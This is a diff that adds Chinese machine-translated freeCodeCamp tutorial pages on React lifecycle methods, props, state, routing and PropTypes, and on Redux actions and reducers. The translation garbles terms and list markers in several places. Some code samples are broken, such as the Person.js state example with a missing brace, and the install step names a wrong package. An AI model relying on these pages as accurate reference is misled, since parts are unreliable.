+一个。 `constructor()`
+
+湾`componentWillMount()`
+
+C。 `render()`
+
+d。 `componentDidMount()`
+
+## 更新：
+
+一个。 `componentWillRecieveProps()`
+
+湾`shouldComponentUpdate()`
+
+C。 `componentWillUpdate()`
+
+d。 `render()`
+
+即`componentDidUpdate()`
+
+## 卸载：
+
+一个。 `componentWillUnmount()`
+
+## 一些有趣的事实需要注意：
+
+*   `constructor` ， `componentWillMount` ， `componentDidMount`和`componentWillUnmount`将在组件的生命周期中仅调用一次。
+*   仅当`shouldComponentUpdate`返回true时，才会执行`componentWillUpdate`和`componentDidUpdate` 。
+*   `componentWillUnmount()`将在卸载任何组件之前调用，因此可用于释放已用内存，关闭与DB的任何连接等。
+
+通过深入编码可以学到很多东西。因此，通过编码让你的手弄脏。
+
+注意：
+
+> “将在未来的16.x版本中启用弃用警告， **但遗留生命周期将继续有效，直到版本17.** ” 1
+> 
+> “即使在版本17中，它仍然可以使用它们，但是它们将带有”UNSAFE\_“前缀别名，以表明它们可能会导致问题。我们还准备了一个[自动脚本，](https://github.com/reactjs/react-codemod#rename-unsafe-lifecycles)用现有代码[重命名它们](https://github.com/reactjs/react-codemod#rename-unsafe-lifecycles) 。” 1
+
+换句话说，这些previouse生命周期方法仍然可用作：
+
+*   `UNSAFE_componentWillMount`
+*   `UNSAFE_componentWillReceiveProps`
+*   `UNSAFE_componentWillUpdate`
+
+## 新的生命周期方法
+
+React 17中将引入新的生命周期方法
+
+*   `getDerivedStateFromProps`将是`componentWillReceiveProps`的更安全的替代品。
+*   将添加`getSnapshotBeforeUpdate`以支持安全地从DOM更新中读取属性
+
+通过深入编码可以学到很多东西。因此，通过编码让你的手弄脏。
+
+### 来源
+
+1.  [沃恩，布莱恩。 “React v16.3.0：新的生命周期和上下文API”。 2018年3月29日。访问时间：2018年5月22日。](https://reactjs.org/blog/2018/03/29/react-v-16-3.html)
+
+### 资源
+
+[更新异步渲染](https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/props/index.md b/client/src/guide/chinese/react/props/index.md
new file mode 100644
index 0000000000..42ec8a1e81
--- /dev/null
+++ b/client/src/guide/chinese/react/props/index.md
@@ -0,0 +1,7 @@
+---
+title: Props
+localeTitle: 道具
+---
+### 什么是道具？
+
+道具（属性的简称）是传递给组件的日期。它们是不可变的（只读）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/react-props-state/index.md b/client/src/guide/chinese/react/react-props-state/index.md
new file mode 100644
index 0000000000..fd20400173
--- /dev/null
+++ b/client/src/guide/chinese/react/react-props-state/index.md
@@ -0,0 +1,157 @@
+---
+title: React Props and State
+localeTitle: 反应道具和状态
+---
+## 道具与州
+
+控制组件有两种类型的数据：props和state。道具由父项设置，它们在组件的整个生命周期内都是固定的。对于即将发生变化的数据，我们必须使用state。
+
+### 道具
+
+大多数组件在创建时可以使用不同的参数进行自定义。这些创建参数称为`props` 。
+
+您自己的组件也可以使用道具。这使您可以创建在应用程序的许多不同位置使用的单个组件，每个位置的属性略有不同。请参阅render函数中的`this.props` ：
+```
+class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ const element = <Welcome name="neel" />; 
+```
+
+行`<Welcome name="neel" />`创建一个值为`"neel"`的属性名称。
+
+该属性被传递给组件，类似于将参数传递给函数的方式。事实上，我们甚至可以将组件重写为更简单：
+```
+function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+```
+
+我们可以通过将defaultProps添加到Welcome类来使name属性可选：
+```
+class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ Welcome.defaultProps = { 
+  name: "world", 
+ }; 
+```
+
+如果在没有名称的情况下调用Welcome，它将只呈现`<h1> Hello world</h1>` 。
+
+因此， `props`可以来自父级，也可以由组件本身设置。
+
+您曾经能够使用setProps和replaceProps更改道具，但这些道具已被**弃用** 。在组件的生命周期中，props不应该更改（认为它们是不可变的）。
+
+由于传递了props，并且它们无法更改，因此您可以将任何仅使用props（而不是state）的React组件视为“纯”，也就是说，它将始终在给定相同输入的情况下呈现相同的输出。这使得它们非常容易测试。
+
+### 州
+
+与`props`一样， `state`保存有关组件的信息。但是，这种信息及其处理方式是不同的。
+
+默认情况下，组件没有状态。上面的`Welcome`组件是无状态的：
+```
+function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+```
+
+当组件需要跟踪渲染之间的信息时，组件本身可以创建，更新和使用状态。
+
+我们将使用一个相当简单的组件来查看正在运行的`state` 。我们有一个按钮，可以跟踪您点击它的次数。
+
+这是代码：
+```
+class Button extends React.Component { 
+  constructor() { 
+    super(); 
+    this.state = { 
+      count: 0, 
+    }; 
+  } 
+ 
+  updateCount() { 
+    this.setState((prevState, props) => { 
+      return { count: prevState.count + 1 } 
+    }); 
+  } 
+ 
+  render() { 
+    return (<button 
+              onClick={() => this.updateCount()} 
+            > 
+              Clicked {this.state.count} times 
+            </button>); 
+  } 
+ } 
+```
+
+### state在组件中创建
+
+让我们看一下`constructor`方法：
+```
+constructor() { 
+  super(); 
+  this.state = { 
+    count: 0, 
+  }; 
+ } 
+```
+
+这是州获取初始数据的地方。初始数据可以是硬编码的（如上所述），但它也可以来自`props` 。
+
+### `state`是可变的
+
+这是`updateCount`方法：
+```
+updateCount() { 
+  this.setState((prevState, props) => { 
+    return { count: prevState.count + 1 } 
+  }); 
+ } 
+```
+
+我们更改状态以跟踪总点击次数。重要的是setState。首先，注意setState接受一个函数，因为setState可以异步运行。它需要采用回调函数而不是直接更新状态。您可以看到我们可以在回调中访问prevState，这将包含先前的状态，即使该状态已在其他地方更新过。
+
+React更好一步，setState更新`state`对象**并**自动重新呈现组件。
+
+### `state`警告
+
+> 写`this.state.count = this.state.count + 1`是很诱人的。
+
+**不要这样做** React无法监听以这种方式更新的状态，因此你的组件不会重新渲染。始终使用`setState` 。
+
+写这样的东西也可能很诱人：
+```
+// DO NOT USE 
+ this.setState({ 
+  count: this.state.count + 1 
+ }); 
+```
+
+虽然这可能看起来合理，但不会抛出错误，并且您可能会发现在线使用此语法的示例，这是错误的。这没有考虑到`setState`可以使用的异步性质，并且可能导致不同步状态数据的错误。
+
+### 程序继续!!!
+
+最后， `render`
+```
+render() { 
+  return (<button 
+            onClick={() => this.updateCount()} 
+          > 
+            Clicked {this.state.count} times 
+          </button>); 
+ } 
+```
+
+`onClick={() => this.updateCount()}`表示单击该按钮时将调用updateCount方法。我们需要使用**ES6的箭头函数，**因此updateCount可以访问此实例的状态。
+
+按钮中呈现的文本是`Clicked {this.state.count} times` ，它将使用渲染时的this.state.count。
+
+更多信息： [**React props and state**](https://facebook.github.io/react-vr/docs/components-props-and-state.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/react-router/index.md b/client/src/guide/chinese/react/react-router/index.md
new file mode 100644
index 0000000000..9de088dea9
--- /dev/null
+++ b/client/src/guide/chinese/react/react-router/index.md
@@ -0,0 +1,46 @@
+# localeTitle: undefined
+R适用于初学者的eact Router
+
+# 安装
+
+React Router已分为三个包： `react-router` ， `react-router-dom`和`react-router-native` 。
+
+您几乎不必直接安装react-router。该软件包为React Router应用程序提供核心路由组件和功能。另外两个提供特定于环境的（浏览器和反应原生）组件，但它们也都重新导出所有react-router的导出。
+
+我们正在构建一个网站（将在浏览器中运行），因此我们将安装react-router-dom。
+
+`npm install --save react-router-dom`
+
+# 路由器
+
+启动新项目时，需要确定要使用的路由器类型。对于基于浏览器的项目，有和组件。当你有一个处理动态请求的服务器（知道如何响应任何可能的URI）时，应该使用`<BrowserRouter>` ，而应该用于静态网站（服务器只能响应它知道的文件请求）。
+
+通常最好使用`<BrowserRouter>` ，但如果您的网站将托管在仅提供静态文件的服务器上，那么`<HashRouter>`是一个很好的解决方案。
+
+对于我们的项目，我们假设网站将由动态服务器支持，因此我们选择的路由器组件是`<BrowserRouter>` 。
+
+# 进口声明
+
+```javascript
+import { BrowserRouter as Router, Switch, Route, Link } from 'react-router-dom'; 
+```
+
+## IndexRoute和链接
+
+现在，让我们添加导航以在页面之间获取。
+
+为此，我们将使用`<Link>`组件。 `<Link>`类似于使用html锚标记。
+
+来自文档：
+
+允许用户浏览应用程序的主要方法。 将使用正确的href呈现完全可访问的锚标记。 为此，我们首先创建一个Nav组件。我们的Nav组件将包含`<Link>`组件，如下所示：
+
+```javascript
+const Nav = () => ( 
+  <div> 
+    <Link to='/'>Home</Link>&nbsp; 
+    <Link to='/address'>Address</Link> 
+  </div> 
+ ) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/render-props-component/index.md b/client/src/guide/chinese/react/render-props-component/index.md
new file mode 100644
index 0000000000..2ee03c358e
--- /dev/null
+++ b/client/src/guide/chinese/react/render-props-component/index.md
@@ -0,0 +1,58 @@
+---
+title: Render Props Component
+localeTitle: 渲染道具组件
+---
+## 渲染道具组件
+
+渲染道具是一种先进的React模式，但却如此简单！
+
+### 例
+
+这是一个关于如何使用渲染道具进行切换功能的示例。
+
+```jsx
+import React, { PureComponent } from "react"; 
+ 
+ class Toggle extends PureComponent { 
+  state = { 
+    on: false 
+  }; 
+ 
+  toggle = () => { 
+    this.setState({ 
+      on: !this.state.on 
+    }); 
+  }; 
+ 
+  render() { 
+    const { children } = this.props; 
+    return children({ 
+      on: this.state.on, 
+      toggle: this.toggle 
+    }); 
+  } 
+ } 
+ 
+ export default Toggle; 
+```
+
+这个Toggle组件将返回它的子`state.on`和函数切换。哪个可以用在它的子组件中。
+
+此切换可以使用如下：
+
+```jsx
+<Toggle> 
+  {({ on, toggle }) => ( 
+    <Fragment> 
+      <button onClick={toggle}>Show / Hide</button> 
+      {on && <h1>I can be toggled on or off!</h1>} 
+    </Fragment> 
+  )} 
+ </Toggle> 
+```
+
+正如您所看到的，切换功能可以由其子按钮用于切换某些内容。如果on为true，则h1-tag将被渲染，否则不会。
+
+## 其他资源
+
+*   [反应文档：渲染道具](https://reactjs.org/docs/render-props.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/state-vs-props/index.md b/client/src/guide/chinese/react/state-vs-props/index.md
new file mode 100644
index 0000000000..a578162c74
--- /dev/null
+++ b/client/src/guide/chinese/react/state-vs-props/index.md
@@ -0,0 +1,85 @@
+---
+title: State vs Props
+localeTitle: 州与道具
+---
## 州与道具
+
+当我们开始使用React组件时，我们经常听到两个术语。他们是`state`和`props` 。因此，在本文中，我们将探讨它们的含义以及它们之间的区别。
+
+## 州：
+
+*   状态是组件拥有的东西。它属于定义它的特定组件。 例如，一个人的年龄是该人的状态。
+*   国家是可变的。但它只能由拥有它的组件来改变。因为我只能改变我的年龄，而不是其他任何人。
+*   您可以使用`this.setState()`更改状态
+
+请参阅以下示例以了解状态：
+
+#### Person.js
+
+```javascript
+  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+      this.state = { 
+        age:0 
+      this.incrementAge = this.incrementAge.bind(this) 
+    } 
+ 
+    incrementAge(){ 
+      this.setState({ 
+        age:this.state.age + 1; 
+      }); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <label>My age is: {this.state.age}</label> 
+          <button onClick={this.incrementAge}>Grow me older !!<button> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+```
+
+在上面的例子中， `age`是`Person`组件的状态。
+
+## 道具：
+
+*   道具类似于方法参数。它们被传递到使用该组件的组件。
+*   道具是不可改变的。它们是只读的。
+
+请参阅以下示例以了解道具：
+
+#### Person.js
+
+```javascript
+  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    render(){ 
+      return( 
+        <div> 
+          <label>I am a {this.props.character} person.</label> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+ 
+  const person = <Person character = "good"></Person> 
+```
+
+在上面的例子中， `const person = <Person character = "good"></Person>`我们将`const person = <Person character = "good"></Person>` `character = "good"` prop传递给`Person`组件。
+
+它输出为“我是一个好人”，事实上我是。
+
+关于州和道具还有很多东西需要学习。通过实际潜入编码可以学到很多东西。因此，通过编码让你的手弄脏。
+
+如果需要，请在[推特](https://twitter.com/getifyJr)上与我联系。
+
+快乐的编码!!!
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/state/index.md b/client/src/guide/chinese/react/state/index.md
new file mode 100644
index 0000000000..6f4259bfd6
--- /dev/null
+++ b/client/src/guide/chinese/react/state/index.md
@@ -0,0 +1,131 @@
+---
+title: State
+localeTitle: 州
+---
+# 州
+
+State是数据来源的地方。
+
+我们应该总是尽量使我们的状态尽可能简单，并尽量减少有状态组件的数量。例如，如果我们有10个需要来自州的数据的组件，我们应该创建一个容器组件来保持所有这些组件的状态。
+
+State基本上就像一个组件中随处可用的全局对象。
+
+有状态类组件的示例：
+
+```javascript
+import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+ 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.x}</h1> 
+        <h2>{this.state.y}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+```
+
+另一个例子：
+
+```javascript
+import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+ 
+  render() { 
+    let x1 = this.state.x; 
+    let y1 = this.state.y; 
+ 
+    return ( 
+      <div> 
+        <h1>{x1}</h1> 
+        <h2>{y1}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+```
+
+## 更新国家
+
+您可以使用组件上的`setState`方法更改存储在应用程序状态中的数据。
+
+```js
+this.setState({ value: 1 }); 
+```
+
+请记住， `setState`是异步的，因此在使用当前状态设置新状态时应该小心。一个很好的例子就是你想在你的州增加一个值。
+
+#### 错误的方法
+
+```js
+this.setState({ value: this.state.value + 1 }); 
+```
+
+如果在同一更新周期中多次调用上述代码，则可能会导致应用程序出现意外行为。为避免这种情况，您可以将更新程序回调函数传递给`setState`而不是对象。
+
+#### 正确的方式
+
+```js
+this.setState(prevState => ({ value: prevState.value + 1 })); 
+```
+
+## 更新国家
+
+您可以使用组件上的`setState`方法更改存储在应用程序状态中的数据。
+
+```js
+this.setState({value: 1}); 
+```
+
+请记住， `setState`可能是异步的，因此在使用当前状态设置新状态时应该小心。一个很好的例子就是你想在你的州增加一个值。
+
+##### 错误的方法
+
+```js
+this.setState({value: this.state.value + 1}); 
+```
+
+如果在同一更新周期中多次调用上述代码，则可能会导致应用程序出现意外行为。为避免这种情况，您可以将更新程序回调函数传递给`setState`而不是对象。
+
+##### 正确的方式
+
+```js
+this.setState(prevState => ({value: prevState.value + 1})); 
+```
+
+##### 更清洁的方式
+```
+this.setState(({ value }) => ({ value: value + 1 })); 
+```
+
+当仅需要状态对象中的有限数量的字段时，可以将对象破坏用于更清洁的代码。
+
+### 更多信息
+
+*   [反应 - 状态和生命周期](https://reactjs.org/docs/state-and-lifecycle.html)
+*   [反应 - 提升状态](https://reactjs.org/docs/lifting-state-up.html)
+*   [React Native - State Up](https://facebook.github.io/react-native/docs/state.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/what-are-react-props/index.md b/client/src/guide/chinese/react/what-are-react-props/index.md
new file mode 100644
index 0000000000..dab70f6e06
--- /dev/null
+++ b/client/src/guide/chinese/react/what-are-react-props/index.md
@@ -0,0 +1,125 @@
+---
+title: React TypeChecking with PropTypes
+localeTitle: 使用PropTypes进行React TypeChecking
+---
## 反应PropTypes
+
+当应用程序趋于增长时，这些可以作为一种类型检查的方法，通过使用此功能，可以纠正非常大的错误基础。
+
+## 如何获得PropTypes
+
+从React版本15.5开始，此功能已移至名为prop-types的单独包中。
+
+为了使用它，需要通过在控制台中发出以下命令将其作为依赖项添加到项目中。
+
+```sh
+npm install --save prop-types 
+```
+
+之后，可用于确保开发人员将要接收的数据的一系列验证器实际上是有效的。 如果提供的值无效，则会在JavaScript控制台中显示警告。
+
+请注意，出于性能原因，仅在开发模式下检查定义的PropTypes。
+
+与组件状态相反，可以根据需要进行操作，这些道具是只读的。
+
+它的值不能被组件改变。
+
+## Proptypes可用
+
+Bellow是一个代码示例，包含提供的不同验证器，以及如何将它们注入组件中。
+
+```javascript
+import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            ... 
+        ); 
+    } 
+ } 
+ 
+ MyComponent.propTypes = { 
+  // A prop that is a specific JS primitive. By default, these 
+  // are all optional. 
+  optionalArray: PropTypes.array, 
+  optionalBool: PropTypes.bool, 
+  optionalFunc: PropTypes.func, 
+  optionalNumber: PropTypes.number, 
+  optionalObject: PropTypes.object, 
+  optionalString: PropTypes.string, 
+  optionalSymbol: PropTypes.symbol, 
+ 
+  // Anything that can be rendered: numbers, strings, elements or an array 
+  // (or fragment) containing these types. 
+  optionalNode: PropTypes.node, 
+ 
+  // A React element as a PropType 
+  optionalElement: PropTypes.element, 
+ 
+  // Declaring that a prop is an instance of a class. This uses 
+  // JS's instanceof operator. 
+  optionalMessage: PropTypes.instanceOf(AnotherComponent), 
+ 
+  // You can ensure that your prop is limited to specific values by treating 
+  // it as an enum. 
+  optionalEnum: PropTypes.oneOf(['News', 'Photos']), 
+ 
+  // An object that could be one of many types 
+  optionalUnion: PropTypes.oneOfType([ 
+    PropTypes.string, 
+    PropTypes.number, 
+    PropTypes.instanceOf(AnotherComponent) 
+  ]), 
+ 
+  // An array of a certain type 
+  optionalArrayOf: PropTypes.arrayOf(PropTypes.number), 
+ 
+  // An object with property values of a certain type 
+  optionalObjectOf: PropTypes.objectOf(PropTypes.number), 
+ 
+  // An object taking on a particular shape 
+  optionalObjectWithShape: PropTypes.shape({ 
+    color: PropTypes.string, 
+    fontSize: PropTypes.number 
+  }), 
+ 
+  // You can chain any of the above with `isRequired` to make sure a warning 
+  // is shown if the prop isn't provided. 
+  requiredFunc: PropTypes.func.isRequired, 
+ 
+  // A value of any data type 
+  requiredAny: PropTypes.any.isRequired, 
+ }; 
+```
+
+## 设置默认值
+
+作为此功能的一部分，还可以为开发时定义的任何给定组件定义默认值。
+
+这些确保即使未由父组件指定，prop也将具有值。
+
+下面的代码说明了如何使用这个功能。
+
+```javascript
+import React,{Component} from 'react'; 
+ import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            <h3>Hello, {this.props.name}</h3> 
+        ); 
+    } 
+ } 
+ MyComponent.defaultProps = { 
+  name: 'Stranger' 
+ }; 
+```
+
+有关React上PropTypes和其他文档的更多信息。
+
+访问[官方网站](https://reactjs.org/)并阅读文档或[Github Repo](https://github.com/facebook/react/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/why-react/index.md b/client/src/guide/chinese/react/why-react/index.md
new file mode 100644
index 0000000000..12bb63a94c
--- /dev/null
+++ b/client/src/guide/chinese/react/why-react/index.md
@@ -0,0 +1,31 @@
+---
+title: Why React
+localeTitle: 为什么反应
+---
+## 为什么选择React.js？
+
+### 简单
+
+React.js不是一个完整的Javascript框架，如Angular.js或其他流行的前端框架。相反，React.js在MVC（模型视图控制器）中充当'V'。它只是一个视图引擎，可以放入并与大量其他工具一起使用，用于MVC的数据和模型部分（最常见的是Redux和Node.js）。
+
+### 性能
+
+由于React使用_虚拟DOM_ ，因此它可以根据需要有选择地更新页面的某些部分，而不必总是完成整个页面的重新加载。在许多情况下，不更新整个DOM将大大节省性能。此外，许多内置函数（例如生命周期函数）也具有性能优势，因为它们通常有助于检查是否甚至需要重新渲染。
+
+### 学习曲线低
+
+在可用的主要前端“框架”中，React具有相对较低的进入门槛，并且具有快速上升时间。此外，React的官方文档非常清晰，并为大多数常见用例提供了许多示例。
+
+### 工装
+
+通常与React一起使用的工具和软件得到了非常好的维护和支持，并提供了在开发Web应用程序时要遵循的几种不同的最佳实践途径。其中一些工具包括Redux，React-router，Thunk和许多其他工具。还有许多开发工具，例如React和Redux Chrome扩展，可以帮助您调试React应用程序。
+
+### 支持
+
+React由Facebook的人员创建和维护，并被世界各地的个人和公司大量使用。这意味着React会不断改进，并且可能已经在Stack Overflow上提出了您可能遇到的任何问题。
+
+除此之外，我们可以利用反应知识开发使用react-native的移动本机应用程序，并利用我们的知识并使用react-vr将其扩展到VR。基本上学习反应让我们接触到各种其他机会，比如将它用于Web，VR，PWA（Progressive Web App）和其他许多机会
+
+#### 更多信息
+
+要了解更多有关React为何如此出色的信息，请查看[官方网站](https://reactjs.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/your-first-app/index.md b/client/src/guide/chinese/react/your-first-app/index.md
new file mode 100644
index 0000000000..25049a2d8f
--- /dev/null
+++ b/client/src/guide/chinese/react/your-first-app/index.md
@@ -0,0 +1,73 @@
+---
+title: Your first React App
+localeTitle: 你的第一个React App
+---
+## 你的第一个React App
+
+### 安装
+
+如前一个artice（安装）中所述，运行`Create React App`工具。一切都完成后， `cd`到应用程序和运行的文件夹`npm start` 。 这将启动一个开发服务器，你就可以开始开发你的应用了！
+
+```bash
+npm install -g react-create-app 
+ create-react-app my-first-app 
+ 
+ cd my-first-app 
+ npm start 
+```
+
+### 编辑代码
+
+启动您选择的编辑器或IDE，然后编辑`src`文件夹中的`App.js`文件。使用`react-create-app`工具`react-create-app` ，此文件中已存在一些代码。
+
+代码将包含以下部分：
+
+#### 进口
+
+```JavaScript
+import React, { Component } from 'react'; 
+ import logo from './logo.svg'; 
+ import './App.css'; 
+```
+
+[webpack](https://webpack.js.org/)使用[它](https://webpack.js.org/)来导入所有必需的模块，以便您的代码可以使用它们。此代码导入3个模块： 1） `React`和`Component` ，它允许我们使用React，因为它应该被使用。 （带组件） 2） `logo` ，允许我们在此文件中使用`logo.svg` 。 3） `./App.css` ，导入该文件的样式表。
+
+#### 类/部件
+
+```JavaScript
+class App extends Component { 
+  render() { 
+    return ( 
+      <div className="App"> 
+        <header className="App-header"> 
+          <img src={logo} className="App-logo" alt="logo" /> 
+          <h1 className="App-title">Welcome to React</h1> 
+        </header> 
+        <p className="App-intro"> 
+          To get started, edit <code>src/App.js</code> and save to reload. 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+```
+
+React是一个使用Components的库，它允许您将UI拆分为独立的，可重用的部分，并独立思考每个部分。 已经创建了1个组件，即`App`组件。如果您使用`create-react-app`工具，则此组件是项目中的主要组件，您应该围绕此中心类构建。
+
+我们将在下一章中详细介绍组件。
+
+#### 出口
+
+在react中创建类时，应该在声明后导出它们，这允许您使用`import`关键字在另一个文件中使用该组件。您可以在`export`关键字后使用`default`来告诉React这是此文件的主类。
+
+```JavaScript
+export default App; 
+```
+
+### 查看结果！
+
+通过发出`npm start`命令启动开发服务器后，您可以在浏览器中查看添加到项目中的更改。发出命令后，npm应该打开一个自动显示你的应用程序的浏览器。
+
+### 来源
+
+[1.反应文档](https://reactjs.org/docs/hello-world.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/index.md b/client/src/guide/chinese/redux/index.md
new file mode 100644
index 0000000000..5ed5d29175
--- /dev/null
+++ b/client/src/guide/chinese/redux/index.md
@@ -0,0 +1,99 @@
+---
+title: Redux
+localeTitle: 终极版
+---
+## 终极版
+
+Redux是JavaScript应用程序的可预测状态容器。
+
+它可以帮助您编写行为一致的应用程序，在不同的环境（客户端，服务器和本机）中运行，并且易于测试。最重要的是，它提供了出色的开发人员体验，例如实时代码编辑与时间旅行调试器相结合。
+
+Redux的基本原理：
+
+1.  Redux是一个状态容器，它将您所有的州存储在一个地方
+2.  状态是只读的，改变状态的唯一方法是发送动作。
+3.  国家只能通过纯粹的功能或其他术语来改变：减速器。 Redux Reducers接受先前的状态和操作对象并返回下一个状态。
+
+实际上我们如何准确地使用Redux？
+
+### 规则1
+
+#### 这个州存放在哪里？ Redux为您提供了一个方便的功能
+
+```js
+createStore() 
+```
+
+您在哪里创建将保留您所有州的商店。
+
+### 规则3（我将首先显示规则3，因为它会更有意义）
+
+#### 状态只能通过纯函数（也称为reducer）进行更改，因此要创建此连接，我们将在reducer中传递给createStore（），就像这样
+
+```js
+var store = createStore(reducer) 
+```
+
+当你有更多的减速器时会变得更复杂但是在核心，商店现在有一个减速器附加它
+
+### 规则2
+
+#### 一旦我们有一个用store = createStore（reducer）创建的商店。我们创建的新商店有一个名为dispatch的方法。请记住，在规则2中，我们改变状态的唯一方法是派遣一个动作！
+
+你可以看到这是怎么回事。
+
+```js
+store.dispatch(action) 
+```
+
+在我进入减速器和动作之前，我认为向您展示Redux的createStore（）的一个非常基本且有限的实现将有很大帮助。
+
+```js
+createStore = (reducer) => { 
+    let state; 
+ //dispatch method 
+    dispatch = (action) => { 
+        state = reducer(state, action) 
+    } 
+  return {dispatch} 
+ } 
+```
+
+看看我们如何将reducer传递给createStore，它将在我们的调度方法中设置;当我们调用dispatch方法时，它会接受一个动作，并根据reducer将返回的内容设置一个新状态。
+
+## 什么是减速机？什么是行动？
+
+最基本级别的Action是具有名为type的属性的对象。它也可以有其他属性，但为了简单起见，它只有类型。
+
+```js
+var someAction = {type:'doSomething'} 
+```
+
+减速器只是一个功能：
+
+```js
+var reducer = (state, action) => { 
+ 
+    if (action.type === 'doSomething'){ 
+        return changedState; 
+    } else if ( action.type === 'doSomethingElse'){ 
+        return changedState; 
+    } else { 
+        return state 
+    } 
+ } 
+```
+
+我们传递给reducer的操作将决定状态将如何根据类型进行更改。 Redux确实变得更复杂，但是如果您了解这些原则，那么您将更容易通过react-redux项目进行导航！
+
+#### 更多信息：
+
+##### 你真的需要Redux吗？
+
+Redux的创建者[丹·阿布拉莫夫](https://github.com/gaearon) （ [Dan Abramov](https://github.com/gaearon) ）在不久前写了一篇很棒的文章， [你可能不需要Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367) 。你应该先检查它，因为你可能不需要它。
+
+欲了解更多信息，请访问[http://redux.js.org/](http://redux.js.org/)
+
+### 资源
+
+*   [Redux的作者Dan Abramov的课程。](https://egghead.io/courses/getting-started-with-redux)
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/reducers/index.md b/client/src/guide/chinese/redux/reducers/index.md
new file mode 100644
index 0000000000..7a597d049e
--- /dev/null
+++ b/client/src/guide/chinese/redux/reducers/index.md
@@ -0,0 +1,11 @@
+---
+title: Reducers
+localeTitle: 减速
+---
+### Redux中的减速器有哪些？
+
+Reducers是执行动作和先前状态并返回新状态的纯函数。给定相同的输入，reducer应始终返回相同的输出。 1
+
+### 来源
+
+1.  http://redux.js.org/docs/basics/Reducers.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-actions/index.md b/client/src/guide/chinese/redux/redux-actions/index.md
new file mode 100644
index 0000000000..c2116ba31d
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-actions/index.md
@@ -0,0 +1,28 @@
+---
+title: Redux Actions
+localeTitle: Redux动作
+---
+## Redux动作
+
+Redux操作是一个简单的对象，它描述了应用程序中发生了什么类型的事件。他们甚至可以包含 需要从应用程序发送到Redux存储的数据。动作可以包含任何内容，但必须具有强制性 type属性，描述发生的事件。一个好的做法是在描述动作时使用常量。
+
+例如
+
+```javascript
+const ADD_ITEM = 'ADD_ITEM' 
+```
+
+```javascript
+{ 
+ type: ADD_ITEM, 
+ text: 'This is the first item' 
+ } 
+```
+
+我们可以使用将这些操作发送到商店 `javascript store.dispatch()` 应用程序可以一次发生不同类型的事件，这些操作有助于描述这些事件。没有这些操作，就无法更改应用程序的状态。
+
+您可以尝试使用[redux-actions](https://github.com/redux-utilities/redux-actions)项目来减少大量的样板制作，从而更快地编写您的操作。
+
+#### 更多信息：
+
+[行动 - Redux官方文档](https://redux.js.org/basics/actions) [redux-actions](https://github.com/redux-utilities/redux-actions) github项目页面
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-middleware/index.md b/client/src/guide/chinese/redux/redux-middleware/index.md
new file mode 100644
index 0000000000..7f8bb382e5
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-middleware/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Middleware
+localeTitle: Redux中间件
+---
+## Redux中间件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-middleware/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/redux/redux-reducers/index.md b/client/src/guide/chinese/redux/redux-reducers/index.md
new file mode 100644
index 0000000000..88d21a4c72
--- /dev/null
+++ b/client/src/guide/chinese/redux/redux-reducers/index.md
@@ -0,0 +1,49 @@
+---
+title: Redux Reducers
+localeTitle: Redux Reducers
+---
+## Redux Reducers
+
+Redux Reducer允许您在应用程序中更改状态。 redux中的操作只告诉应用程序基本上发生了什么。无论是发生了点击事件还是鼠标滚动，它都会告诉我这件事发生了。现在，您如何通过使用减速器来改变存储在商店内的应用程序的状态。
+
+现在redux中的reducer需要是一个纯函数。纯函数是一种没有额外副作用的函数。你传递一些参数，它返回预期的结果。例如：
+
+```javascript
+function add(a,b) { 
+ return a + b; 
+ } 
+ 
+ const sum = add(5,4); 
+```
+
